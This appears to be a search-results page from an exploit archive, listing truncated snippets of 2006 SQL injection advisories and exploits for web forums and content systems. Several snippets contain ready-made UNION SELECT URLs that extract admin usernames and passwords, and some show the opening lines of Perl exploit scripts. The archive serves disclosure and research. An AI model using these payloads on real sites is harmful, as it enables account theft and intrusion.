4030 matches found
MaxTrade sql inj.
MaxTrade sql inj. Vuln. discovered by : r0t Date: 30 april 2006 vendorlink:http://avalonbg.com/ensoft.html affected versions:1.0.1 and prior orginal advisory:http://pridels.blogspot.com/2006/04/maxtrade-sql-inj.html Vuln. Description: MaxTrade contains a flaw that allows a remote sql injection...
FlexBB0.5.5.pl.txt
!/usr/bin/perl use IO::Socket; FlexBB Exploit function/showprofile.php Remote SQL Injection 1- First Do Login 2- View This Link :D index.php?page=showprofile&id=-1' UNION ALL SELECT%201,username,3,4,5,6,7,8,9,0,1,2,3,password,5,6,7,8,9,0,1,2,3,4,3,4,5,7,8 FROM flexbbusers WHERE id=1/...
BK Forum <= 4.0 (member.asp) Remote SQL Injection Vulnerability
Exploit for unknown platform in category web applications =============================================================== BK Forum = 4.0 member.asp Remote SQL Injection Vulnerability =============================================================== BK Forum = 4.0 Remote SQL Injection by n0m3rcy...
BK Forum <= 4.0 Remote SQL Injection
BK Forum = 4.0 Remote SQL Injection by n0m3rcy Copyright c 2006 n0m3rcy [email protected] Exploit: First you must be logged in Then type this in your browser http://www.site.com/path/member.asp?id=-120UNION20SELECT201,memName,3,4,5,6,7,8,9,10,11,memPassword,13,14,15,1620FROM20member+where+memID...
FlexBB <= 0.5.5 (function/showprofile.php) SQL Injection Exploit
No description provided by source. !/usr/bin/perl use IO::Socket; FlexBB Exploit function/showprofile.php Remote SQL Injection 1- First Do Login 2- View This Link :D index.php?page=showprofile&id=-1' UNION ALL SELECT%201,username,3,4,5,6,7,8,9,0,1,2,3,password,5,6,7,8,9,0,1,2,3,4,3,4,5,7,8 FROM...
BK Forum 4.0 - member.asp SQL Injection
BK Forum 4.0 - member.asp SQL Injection BK Forum Exploit: First you must be logged in Then type this in your browser http://www.site.com/path/member.asp?id=-1%20UNION%20SELECT%201,memName,3,4,5,6,7,8,9,10,11,memPassword,13,14,15,16%20FROM%20member+where+memID=1 You will find admin's password...
BK Forum <= 4.0 (member.asp) Remote SQL Injection Vulnerability
No description provided by source. BK Forum = 4.0 Remote SQL Injection by n0m3rcy Copyright c 2006 n0m3rcy [email protected] Exploit: First you must be logged in Then type this in your browser...
bloggage Remote SQL Injection
I found a Remote SQL Injection into bloggage. This is the original advisory: http://colander.altervista.org/advisory/bloggage.txt Best Regards, Omni...
Simplog <= 0.9.3 (tid) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=25 Usage: simplog.pl host path use IO::Socket; if@ARGV != 2 usage; else exploit; sub...
ASPSitem <= 1.83 (Haberler.asp) Remote SQL Injection Exploit
No description provided by source. !/usr/bin/perl Method found & Exploit scripted by nukedx Contacts ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com Original advisory: http://www.nukedx.com/?viewdoc=23 Usage: aspsi.pl host path userid use IO::Socket; if@ARGV != 3 usage; else exploit; s...
FlexBB <= 0.5.5 (/inc/start.php _COOKIE) Remote SQL ByPass Exploit
Exploit for unknown platform in category web applications ================================================================== FlexBB : DONT FORGET TO DO YOUR CONFIG !! DONT FORGET TO DO YOUR CONFIG !! DONT FORGET TO DO YOUR CONFIG !! use IO::Socket; -- Start -- $host = "127.0.0.1"; $path =...
FlexBB <= 0.5.5 (/inc/start.php _COOKIE) Remote SQL ByPass Exploit
No description provided by source. !/usr/bin/perl -w FlexBB = 0.5.5 /inc/start.php COOKIE Remote SQL ByPass Exploit , Perl C0d3 Milw0rm ID :- http://www.milw0rm.com/auth.php?id=1539 D3vil-0x1 | Devil-00 BlackHat : DONT FORGET TO DO YOUR CONFIG !! DONT FORGET TO DO YOUR CONFIG !! DONT FORGET TO DO...
Fuju News 1.0 Authentication Bypass / Remote SQL Injection Exploit
No description provided by source. ?php / |---==============================================================---| | /\¯\ /\¯\ | | \ \ \ \ \ \ | | / \ / \ / \ \ \ / / \ \ \ / /\ \ | | /, /\ /\ /\ \ \ \ /\ /\ \ \ \ /\ /\ \ / | | //\ \ \ / \\ \ \\ \ \ \\ \ | | // ////////...
Fuju News 1.0 Authentication Bypass / Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================================== Fuju News 1.0 Authentication Bypass / Remote SQL Injection Exploit ================================================================== Internet Security |...
Blackorpheus ClanMemberSkript 1.0 Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ============================================================== Blackorpheus ClanMemberSkript 1.0 Remote SQL Injection Exploit ============================================================== Internet Security |...
SaphpLesson 2.0 (forumid) Remote SQL Injection Exploit
--------------------------------------------------------------------------- SaphpLesson 2.0 forumid Remote SQL Injection Exploit --------------------------------------------------------------------------- Discovered By SnIpErSA Author : SnIpErSA Exploit in Perl :...
Clansys v.1.1 (showid) Remote SQL Injection Exploit
No description provided by source. ?php / |---==============================================================---| | /\¯\ /\¯\ | | \ \ \ \ \ \ | | / \ / \ / \ \ \ / / \ \ \ / /\ \ | | /, /\ /\ /\ \ \ \ /\ /\ \ \ \ /\ /\ \ / | | //\ \ \ / \\ \ \\ \ \ \\ \ | | // ////////...
[SECURITY] [DSA 1029-1] New libphp-adodb packages fix several vulnerabilities
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -------------------------------------------------------------------------- Debian Security Advisory DSA 1029-1 [email protected] http://www.debian.org/security/ Martin Schulze April 8th, 2006 http://www.debian.org/security/faq -...
Clansys 1.1 (showid) - SQL Injection
Internet Security | |---==============================================================---| title: clansys 1.1 remote sql injection release: 2006-04-10 author: snatcher snatcher at gmx.ch country: switzerland |+| application: clansys 1.1 description: a php / mysql based clan content management...
XBrite Members <= 1.1 (id) Remote SQL Injection Exploit
No description provided by source. ?php / |=================================================================================================| | .. . .. . | | / || \ | | / \ | | / || | | | | || \ | | | ----| | | / ^ \ ---| |----| ,----'| || | | | | | | | | \ \ | . | / /\ \ | | | | | | | | | / | |...